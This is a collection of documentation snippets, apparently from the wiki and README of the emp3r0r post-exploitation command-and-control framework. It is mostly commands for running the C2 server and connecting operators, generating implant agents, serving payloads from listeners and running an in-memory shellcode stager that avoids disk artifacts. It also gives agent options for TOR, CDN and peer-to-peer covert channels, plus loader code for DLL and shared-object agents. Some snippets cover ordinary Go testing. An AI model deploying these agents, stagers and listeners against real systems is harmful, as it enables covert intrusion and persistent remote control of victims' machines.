### Quick Installation Script

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Use this curl command to automatically download, build, and install emp3r0r, including necessary dependencies like Go and Zig.

```bash
curl -sSL https://raw.githubusercontent.com/jm33-m0/emp3r0r/refs/heads/v4/install.sh | bash
```

--------------------------------

### Build emp3r0r from Source

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Clone the repository and use the build script to compile the project and install it. This method also handles dependency installation.

```bash
# Clone the repository
git clone https://github.com/jm33-m0/emp3r0r.git
cd emp3r0r/core

# Build and install
# This will install dependencies (like zig) and compile the project
./build.sh --install
```

--------------------------------

### Run Listener Module

Source: https://github.com/jm33-m0/emp3r0r/wiki/Console-Interface

Starts a listener module with specified parameters for agent communication.

```bash
listener --action start --stager /tmp/agent --loader /tmp/loader.bin --port 8080 --key my_secret_key --type http
```

--------------------------------

### Custom Installation Path

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Set the PREFIX environment variable before running the build script to install emp3r0r in a custom directory.

```bash
export PREFIX=/custom/path
./build.sh --install
```

--------------------------------

### Runtime Module Invocation Example

Source: https://github.com/jm33-m0/emp3r0r/wiki/Modules

Demonstrates how to run modules from the console using their name and flags. Completion for module names and flags is supported.

```bash
<module_name> --flag value --other-flag value
```

```bash
listener --action start --stager /tmp/agent --loader /tmp/loader.bin --port 8080 --key my_secret_key --type http
```

```bash
shellcode_stager --DOWNLOAD_HOST <c2-ip> --DOWNLOAD_PORT 8080 --DOWNLOAD_PATH / --DOWNLOAD_KEY my_secret_key --MODULE_PATH "" --DOWNLOADER_MODULE_PATH "" --LISTENER_TYPE HTTP
```

--------------------------------

### Start emp3r0r C2 Server

Source: https://github.com/jm33-m0/emp3r0r/wiki/Workflow

Initiates the C2 server with specified host details and operator count. Ensure to replace 'your.domain.com' with your actual domain or IP.

```bash
# Start the C2 server
emp3r0r server --c2-hosts 'your.domain.com' --port 12345 --operators 2
```

--------------------------------

### Table-Driven Test Example

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Demonstrates how to implement table-driven tests in Go for testing multiple input scenarios with a single test function.

```go
func TestParseCmd(t *testing.T) {
    tests := []struct {
        name     string
        input    string
        expected []string
    }{
        {
            name:     "simple command",
            input:    "ls -la",
            expected: []string{"ls", "-la"},
        },
        // Add more test cases...
    }

    for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            result := ParseCmd(tt.input)
            if !reflect.DeepEqual(result, tt.expected) {
                t.Errorf("got %v, want %v", result, tt.expected)
            }
        })
    }
}

```

--------------------------------

### Platform-Specific Test with Build Tags

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Example of a Go test file using build tags to ensure it's compiled and run only on specific platforms (e.g., Linux).

```go
//go:build linux
// +build linux

package sysinfo

import "testing"

func TestLinuxSpecificFunction(t *testing.T) {
    // Test code here
}

```

--------------------------------

### Minimal COFF Module Example

Source: https://github.com/jm33-m0/emp3r0r/wiki/Modules

A basic JSON configuration for a Windows COFF module. Specifies the source of the object file and the export function.

```json
{
  "name": "whoami_bof",
  "platform": "windows",
  "arch": "amd64",
  "type": "coff",
  "coff": {
    "source": "https://example.com/whoami.x64.o",
    "export": "main",
    "args": []
  }
}
```

--------------------------------

### Linux ELF Object Module Example

Source: https://github.com/jm33-m0/emp3r0r/wiki/Modules

Example JSON configuration for a Linux module using an ELF object file. Similar to COFF modules, it specifies the source and export function.

```json
{
  "name": "linux_bof_module",
  "platform": "linux",
  "arch": "amd64",
  "type": "coff",
  "coff": {
    "source": "local_bof.o",
    "export": "go",
    "args": []
  }
}
```

--------------------------------

### Connect emp3r0r Client to Server

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Connect the emp3r0r client to the server using the provided WireGuard configuration details. This command should be run on the operator machine after installing the operator kit.

```bash
# Server prints C2 connection command
emp3r0r client --c2-port 13377 --server-wg-key '0OKqMZmJfLDhAQLST4MKtKNa6MKxVkLn3UcOP14sMA8=' --server-wg-ip '10.88.14.158' --operator-wg-ip '10.88.14.236' --operator-wg-key 'LOe4sUyjyyIS3Kjnmz0SpKJwvDGle0880Q73qzsMg48=' --c2-host <YOUR_PUBLIC_IP>

# Run the command given by emp3r0r server on your operator machin after installation
emp3r0r client --operator-port 13377 --server-wg-key '0OKqMZmJfLDhAQLST4MKtKNa6MKxVkLn3UcOP14sMA8=' --server-wg-ip '10.88.14.158' --operator-wg-ip '10.88.14.236' --operator-wg-key 'LOe4sUyjyyIS3Kjnmz0SpKJwvDGle0880Q73qzsMg48=' --c2-host 1.2.3.4
```

--------------------------------

### Standalone HTTP Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Listener

Starts a standalone HTTP listener to serve agent payloads. Specify the agent binary, loader file, port, encryption key, and listener type.

```bash
emp3r0r-listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type http
```

--------------------------------

### Retrieve TOR Onion Domain

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

After configuring Tor, use this command to get your hidden service's .onion address.

```bash
sudo cat /var/lib/tor/hidden_service/hostname
```

--------------------------------

### Nginx Configuration for Websocket CDN

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Example Nginx configuration to proxy websocket traffic to the emp3r0r C2 server, enabling CDN integration. Ensure the proxy_pass directive points to the correct C2 websocket endpoint.

```conf
location /emp3r0r {
    proxy_pass http://127.0.0.1:9000/ws;
    proxy_redirect off;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header Host $host;

    # Show real IP
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
```

--------------------------------

### Load Windows DLL Agent

Source: https://github.com/jm33-m0/emp3r0r/wiki/DLL-Agent

This Go program demonstrates loading a Windows DLL (shared object) and executing its 'main' function. It requires the path to the DLL as the first argument, followed by any arguments for the DLL's main function.

```go
package main

import (
 "C"
 "fmt"
 "os"
 "plugin"
)

func main() {
 if len(os.Args) < 2 {
  fmt.Fprintf(os.Stderr, "Usage: %s <path_to_shared_object> [args...]\n", os.Args[0])
  os.Exit(1)
 }

 soPath := os.Args[1]

 // Load the shared object file
 p, err := plugin.Open(soPath)
 if err != nil {
  fmt.Fprintf(os.Stderr, "Error loading shared object: %s\n", err)
  os.Exit(1)
 }

 // Lookup the 'main' function
 symMain, err := p.Lookup("main")
 if err != nil {
  fmt.Fprintf(os.Stderr, "Error finding 'main' in shared object: %s\n", err)
  os.Exit(1)
 }

 // Assert the type of the 'main' function
 soMain, ok := symMain.(func(argc int, argv []string) int)
 if !ok {
  fmt.Fprintf(os.Stderr, "Invalid 'main' function signature\n")
  os.Exit(1)
 }

 // Prepare arguments for the SO's main function
 soArgc := len(os.Args) - 1
 soArgv := os.Args[1:]

 // Call the main function of the shared object
 exitCode := soMain(soArgc, soArgv)

 os.Exit(exitCode)
}
```

--------------------------------

### Test Helper Usage

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Shows how to use the 'testutil' package for common testing utilities like creating temporary directories and files, and asserting equality.

```go
import "github.com/jm33-m0/emp3r0r/core/lib/testutil"

func TestExample(t *testing.T) {
    tmpDir := testutil.TempDir(t)
    filePath := testutil.CreateTempFile(t, tmpDir, "test.txt", "content")

    testutil.AssertEqual(t, result, expected)
    testutil.AssertNoError(t, err)
}

```

--------------------------------

### Configure Standalone UDP Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Workflow

Sets up a standalone UDP listener. Requires the agent stager, a loader binary, port, a secret key, and the listener type.

```bash
# UDP listener
emp3r0r-listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type udp
```

--------------------------------

### Generate Coverage Report

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Run tests and generate a coverage profile, then open an HTML report for detailed coverage information.

```bash
cd core
go test -coverprofile=coverage.out ./...
go tool cover -html=coverage.out

```

--------------------------------

### Load Linux Shared Object Agent

Source: https://github.com/jm33-m0/emp3r0r/wiki/DLL-Agent

This C code demonstrates how to dynamically load a Linux shared object and execute its exported 'main' function. Ensure the shared object path is provided as a command-line argument.

```c
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s <path_to_shared_object>\n", argv[0]);
    return EXIT_FAILURE;
  }

  const char *so_path = argv[1];
  void *handle = dlopen(so_path, RTLD_LAZY);
  if (!handle) {
    fprintf(stderr, "Error opening shared object: %s\n", dlerror());
    return EXIT_FAILURE;
  }

  void (*main_func)();
  *(void **)(&main_func) = dlsym(handle, "main");
  if (!main_func) {
    fprintf(stderr, "Error finding main function: %s\n", dlerror());
    dlclose(handle);
    return EXIT_FAILURE;
  }

  main_func();

  dlclose(handle);
  return EXIT_SUCCESS;
}
```

--------------------------------

### Build emp3r0r Docker Production Image

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Build the slim production Docker image for emp3r0r. This image will be used to run the emp3r0r server.

```bash
# Step 2: Build your slim production image
podman build -t emp3r0r:4.2.3 .

```

--------------------------------

### Run Shellcode Stager Module

Source: https://github.com/jm33-m0/emp3r0r/wiki/Console-Interface

Initiates a shellcode stager for agent deployment, specifying download parameters and listener type.

```bash
shellcode_stager --DOWNLOAD_HOST <c2-ip> --DOWNLOAD_PORT 8080 --DOWNLOAD_PATH / --DOWNLOAD_KEY my_secret_key --MODULE_PATH "" --DOWNLOADER_MODULE_PATH "" --LISTENER_TYPE HTTP
```

--------------------------------

### Clone emp3r0r and Build Host Dependencies

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Clone the emp3r0r repository and build necessary host dependencies using a temporary Docker container. This prepares the environment for building the production image.

```bash
# Clone the project
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r

# Step 1: Build the archive on the host using a throwaway container
podman run --rm -v .:/src:z -w /src/core golang:1.26.2 \
    /bin/bash -c "apt update && apt install -y sudo curl git jq tmux zstd libcap2-bin build-essential && ./build.sh --install"
```

--------------------------------

### Run emp3r0r Server with Docker

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Run the emp3r0r server using Docker, configuring network interfaces and ports. Ensure to create the necessary configuration directory.

```bash
# Run the server. Be sure to change your port mappings to fit your environment
mkdir ~/.emp3r0r
podman run -it --rm --cap-add=NET_ADMIN --device /dev/net/tun:/dev/net/tun \
  -v "$HOME/.emp3r0r:/root/.emp3r0r" \
  -p 12345:12345 -p 13377:13377/udp \
  --name emp3r0r-server \
  emp3r0r:4.2.3 \
  server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
```

--------------------------------

### Run All Tests

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute all tests within the 'core' directory and its sub-packages.

```bash
cd core
go test ./...

```

--------------------------------

### Run Benchmarks

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute benchmark tests for a specified package and compare performance results using 'benchstat'.

```bash
cd core
go test -bench=. ./lib/util/...
go test -bench=. ./lib/util/... > old.txt
# Make changes
go test -bench=. ./lib/util/... > new.txt
go install golang.org/x/perf/cmd/benchstat@latest
benchstat old.txt new.txt

```

--------------------------------

### Configure Standalone HTTP Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Workflow

Sets up a standalone HTTP listener for initial payload delivery. Requires the agent stager, a loader binary, port, a secret key, and the listener type.

```bash
# HTTP listener (recommended for initial access)
emp3r0r-listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type http
```

--------------------------------

### Generate Agent with P2P Mesh

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Enable the P2P mesh stack for agent communication by using the --p2p flag during generation. This facilitates peer discovery and relay.

```bash
# From the emp3r0r console
generate --type linux_executable --arch amd64 --p2p
```

--------------------------------

### Configure Standalone TCP Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Workflow

Sets up a standalone TCP listener for faster, less stealthy payload delivery. Requires the agent stager, a loader binary, port, a secret key, and the listener type.

```bash
# TCP listener (faster, less stealthy)
emp3r0r-listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type tcp
```

--------------------------------

### Run Tests with Verbose Output

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute tests and display detailed output for each test function.

```bash
cd core
go test -v ./...

```

--------------------------------

### Generate DLL/SO Agent

Source: https://github.com/jm33-m0/emp3r0r/wiki/DLL-Agent

Use the 'generate' command with the appropriate --type and --arch flags to create a Windows DLL or Linux Shared Object agent.

```bash
generate --type windows_dll --arch amd64
# or for Linux Shared Object
generate --type linux_so --arch amd64
```

--------------------------------

### Generate Agent with Proxy and CDN

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Combine generation flags like --proxy or --cdn with other options to configure agent communication through intermediaries.

```bash
# From the emp3r0r console
generate --type linux_executable --arch amd64 --proxy --cdn
```

--------------------------------

### Run C2 Server with CDN Support (Deprecated)

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

This command enables CDN support for the C2 server, wrapping websocket traffic. Note: This is deprecated in v4 and plain_http mode should be used directly.

```bash
emp3r0r --cdn2proxy (Deprecated in v4, use plain_http mode directly)
```

--------------------------------

### Generate Agent in Gateway Mode

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Configure the agent for gateway mode by combining the --p2p flag with --direct-c2. This is useful for establishing network entry points.

```bash
# From the emp3r0r console
generate --type linux_executable --arch amd64 --p2p --direct-c2
```

--------------------------------

### Compile and Run Standalone Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Listener

Compiles the standalone listener from source and runs it with specified parameters for serving agent payloads.

```bash
cd core/cmd/listener
go build -o listener
./listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type http
```

--------------------------------

### Run Agent Directly

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Execute the agent binary directly on the target system for a direct C2 connection.

```bash
./agent
```

--------------------------------

### Enable KCP Transport

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Use this command to enable the KCP transport protocol for communication. Ensure the IP address is correct.

```bash
generate --cc 1.2.3.4 --kcp
```

--------------------------------

### Connect emp3r0r C2 Client

Source: https://github.com/jm33-m0/emp3r0r/wiki/Workflow

Connects an operator client to the C2 server. Requires the server's WireGuard public key and IP, along with the operator's WireGuard key and IP. Replace placeholders with actual values.

```bash
emp3r0r client --c2-port 12345 \
    --server-wg-key 'server_wg_pubkey...' \
    --server-wg-ip '10.10.0.1' \
    --operator-wg-ip '10.10.0.2' \
    --operator-wg-key 'operator_wg_private_key...' \
    --c2-host <C2_PUBLIC_IP>
```

--------------------------------

### Generate Agent in Silent Node Mode

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Deploy agents in silent node mode by specifying bootstrap peers using --p2p --peers. This requires at least one initial peer to connect to.

```bash
# From the emp3r0r console
generate --type linux_executable --arch amd64 --p2p --peers <gateway_ip:gossip_port>
```

--------------------------------

### Generate Linux Executable Agent for Intermediate Mesh Peer

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Generate a Linux executable agent to act as an intermediate peer in a mesh network. It requires the IP address of a pre-existing agent node to use as a bootstrap peer and specifies mutual TLS for transport.

```bash
# 1.2.3.4 is the pre-existing agent node that you want to use as bootstrap peer
generate --type linux_executable --arch amd64 --cc your.domain.com \
	--p2p --p2p-transport mtls --peers 1.2.3.4
```

--------------------------------

### Generate Agent for CDN (Websocket)

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Generate an agent for CDN integration using websockets. Specify the C2 domain and the C2 channel mode.

```bash
generate --type linux_executable --arch amd64 --cc your.domain.com --c2-channel-mode plain_http
```

--------------------------------

### Generate emp3r0r Agent Shellcode

Source: https://github.com/jm33-m0/emp3r0r/wiki/Shellcode-Agent-for-Windows

Use the `generate` command with the `windows_executable` type and specify the desired architecture (e.g., `amd64`) to create the agent shellcode. The output will be a `.bin` file containing compressed raw shellcode.

```bash
generate --type windows_executable --arch amd64
```

--------------------------------

### Set Target for Bring2CC

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Use the 'bring2cc' module to set the target IP address for reverse tunneling.

```bash
use bring2cc
set target 192.168.1.10
```

--------------------------------

### Standalone UDP Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Listener

Launches a standalone UDP listener to distribute agent payloads. Ensure the agent path, loader file, port, encryption key, and listener type are correctly set.

```bash
emp3r0r-listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type udp
```

--------------------------------

### Generate Linux Executable Agent for Mesh Gateway

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Generate a Linux executable agent configured as a peer-to-peer gateway. This requires specifying the peer-to-peer transport as mutual TLS.

```bash
generate --type linux_executable --arch amd64 --cc your.domain.com \
	--p2p --direct-c2 --p2p-transport mtls
```

--------------------------------

### Generate Agent with KCP P2P Transport

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Utilize the KCP transport for P2P mesh communication by specifying --p2p-transport kcp during agent generation. The default is mtls.

```bash
# From the emp3r0r console
generate --type linux_executable --arch amd64 --p2p --p2p-transport kcp
```

--------------------------------

### Generate Agent for CDN (plain_http)

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Generate an agent for CDN integration using the plain_http channel mode. This mode does not require a websocket bridge and is suitable for direct HTTP/1.1 reverse proxies.

```bash
generate --type linux_executable --arch amd64 --cc your.domain.com \
    --c2-channel-mode plain_http
```

--------------------------------

### Standalone TCP Listener

Source: https://github.com/jm33-m0/emp3r0r/wiki/Listener

Initiates a standalone TCP listener for serving agent payloads. Requires agent path, loader file, port, encryption key, and listener type.

```bash
emp3r0r-listener --stager /path/to/agent --loader /path/to/loader.bin --port 8080 --key my_secret_key --type tcp
```

--------------------------------

### Run Tests for Specific Packages

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute tests only for specified packages within the 'core' directory.

```bash
cd core
go test ./lib/util/...
go test ./lib/crypto/...
go test ./lib/sysinfo/...

```

--------------------------------

### Run Tests with Race Detector

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute tests with the race detector enabled to find concurrent race conditions.

```bash
cd core
go test -race ./...

```

--------------------------------

### Generate Linux Agent Executable

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Use the 'generate' command within the emp3r0r console to create agent payloads. Specify the type and architecture for the executable.

```bash
# From the emp3r0r console
generate --type linux_executable --arch amd64
```

--------------------------------

### Run Specific Test Function

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute a specific test function or tests matching a pattern within a given package.

```bash
cd core
go test -v -run TestFunctionName ./lib/util/...
go test -v -run "TestParseCmd.*" ./lib/util/...

```

--------------------------------

### Run Linux-Only Tests

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/TESTING.md

Execute tests that are specifically tagged for the Linux platform.

```bash
cd core
go test -tags linux ./lib/sysinfo/...

```

--------------------------------

### Generate Agent for TOR

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Generate an agent that connects to the C2 server via a SOCKS5 proxy, typically used for TOR. Ensure the TOR proxy is running.

```bash
generate --cc cc.onion --proxy "socks5://127.0.0.1:9050"
```

--------------------------------

### Generate Standalone Linux Executable Agent

Source: https://github.com/jm33-m0/emp3r0r/blob/v4/README.md

Generate a standalone Linux executable agent payload. Specify the architecture and the C2 host domain.

```bash
generate --type linux_executable --arch amd64 --cc your.domain.com
```

--------------------------------

### emp3r0r Module JSON Schema

Source: https://github.com/jm33-m0/emp3r0r/wiki/Modules

Defines the common fields and specific configurations for script, binary, and COFF modules. Used to drive module execution.

```jsonc
{
  "name": "string", // Unique module name (used in UI)
  "description": "string", // Short help text
  "platform": "linux|windows|all", // Target platform
  "arch": "amd64|386|arm64|...", // Target architecture
  "type": "script|binary|coff", // Execution type
  "entry": "path or command", // Entry point (script path, exe name, etc.)
  "args": [
    // Optional generic args
    { "name": "arg1", "type": "string|int|bool|binary", "default": "" },
  ],

  "script": {
    // For script modules
    "lang": "bash|powershell|python",
    "source": "inline|url|file",
    "body": "...",
  },

  "binary": {
    // For native binaries
    "source": "url or local path",
    "filename": "optional override name",
    "workdir": "optional working directory",
  },

  "coff": {
    // For COFF/BOF modules (powered by praetorian-inc/goffloader)
    "source": "url or local path to .o",
    "export": "function name", // e.g., "main" or "go"
    "args": [{ "name": "pid", "WireType": "INT", "Value": 123 }],
  },
}
```

--------------------------------

### Manual Compilation of Stager SO

Source: https://github.com/jm33-m0/emp3r0r/wiki/Linux-Stager

Manually compile the stager module into a shared object (.so) file. Edit stager.c to set macros or pass them via make.

```bash
cd core/modules/stager
# Edit stager.c to set macros if needed, or pass them via make
make stager_so
```

--------------------------------

### Linux Shellcode Stager Configuration

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Configure and run the shellcode stager for Linux targets to load the agent entirely in memory, avoiding disk artifacts. Modify stager source code for customization.

```bash
# From the emp3r0r console
shellcode_stager --DOWNLOAD_HOST <c2-ip> --DOWNLOAD_PORT 8080 --DOWNLOAD_PATH / --DOWNLOAD_KEY my_secret_key --MODULE_PATH "" --DOWNLOADER_MODULE_PATH "" --LISTENER_TYPE HTTP
```

--------------------------------

### Kill emp3r0r tmux session

Source: https://github.com/jm33-m0/emp3r0r/wiki/Terminal-UI

Use this command to terminate the C2 server and clean up all associated tmux panes and windows if an issue arises.

```bash
tmux kill-session -t emp3r0r
```

--------------------------------

### Generate emp3r0r Agent

Source: https://github.com/jm33-m0/emp3r0r/wiki/Workflow

Generates a new agent payload from the emp3r0r console. Specify the payload type, architecture, and C2 address. Ensure compatibility with the C2 server build and keys.

```bash
# In the emp3r0r console
generate --type linux_executable --arch amd64 --cc your.domain.com
```

--------------------------------

### TOR Hidden Service Configuration

Source: https://github.com/jm33-m0/emp3r0r/wiki/Getting-started

Configure Tor to run a hidden service. The C2 port is specified here, and the hidden service port is hardcoded to 443 in emp3r0r.

```conf
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.